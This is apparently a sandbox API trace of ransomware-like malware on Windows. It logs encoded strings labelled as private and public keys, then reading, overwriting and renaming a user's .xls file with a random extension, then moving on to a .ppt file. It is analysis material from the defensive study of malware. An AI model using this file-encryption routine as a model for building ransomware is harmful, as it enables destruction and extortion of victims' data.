lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.526] GetCurrentThreadId () returned 0xa30 [0088.526] GetCurrentThreadId () returned 0xa30 [0088.526] GetCurrentThreadId () returned 0xa30 [0088.527] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.527] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.527] GetCurrentThreadId () returned 0xa30 [0088.527] GetCurrentThreadId () returned 0xa30 [0088.527] GetCurrentThreadId () returned 0xa30 [0088.527] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\-0cgImthwd.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\-0cgimthwd.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0088.528] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0088.528] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0088.528] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x8f07 [0088.528] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0088.528] ReadFile (in: hFile=0x104, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x8f07, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0x8f07, lpOverlapped=0x0) returned 1 [0088.530] CloseHandle (hObject=0x104) returned 1 [0088.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\-0cgImthwd.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\-0cgimthwd.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0088.534] WriteFile (in: hFile=0x104, lpBuffer=0x1f12ed0*, nNumberOfBytesToWrite=0x8f07, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f12ed0*, lpNumberOfBytesWritten=0x18f6ac*=0x8f07, lpOverlapped=0x0) returned 1 [0088.537] CloseHandle (hObject=0x104) returned 1 [0088.537] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\-0cgImthwd.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\-0cgimthwd.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\-0cgImthwd.xls.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\-0cgimthwd.xls.zv7un")) returned 1 [0088.538] GetCurrentThreadId () returned 0xa30 [0088.538] GetCurrentThreadId () returned 0xa30 [0088.538] GetCurrentThreadId () returned 0xa30 [0088.538] GetCurrentThreadId () returned 0xa30 [0088.538] GetCurrentThreadId () returned 0xa30 [0088.538] GetCurrentThreadId () returned 0xa30 [0088.538] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60f7eeb0, ftCreationTime.dwHighDateTime=0x1d5d867, ftLastAccessTime.dwLowDateTime=0x3060b250, ftLastAccessTime.dwHighDateTime=0x1d5e4d8, ftLastWriteTime.dwLowDateTime=0x3060b250, ftLastWriteTime.dwHighDateTime=0x1d5e4d8, nFileSizeHigh=0x0, nFileSizeLow=0x8fb, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="2pfWvAl3JPRxQW6X.ppt", cAlternateFileName="2PFWVA~1.PPT")) returned 1 [0088.539] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0088.539] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0088.539] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\2pfWvAl3JPRxQW6X.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\2pfwval3jprxqw6x.ppt"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60f7eeb0, ftCreationTime.dwHighDateTime=0x1d5d867, ftLastAccessTime.dwLowDateTime=0x3060b250, ftLastAccessTime.dwHighDateTime=0x1d5e4d8, ftLastWriteTime.dwLowDateTime=0x3060b250, ftLastWriteTime.dwHighDateTime=0x1d5e4d8, nFileSizeHigh=0x0, nFileSizeLow=0x8fb)) returned 1 [0088.539] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\2pfWvAl3JPRxQW6X.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\2pfwval3jprxqw6x.ppt")) returned 0x20 [0088.539] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\2pfWvAl3JPRxQW6X.ppt", dwFileAttributes=0x80) returned 1 [0088.541] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.541] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.542] GetCurrentThreadId () returned 0xa30 [0088.542] 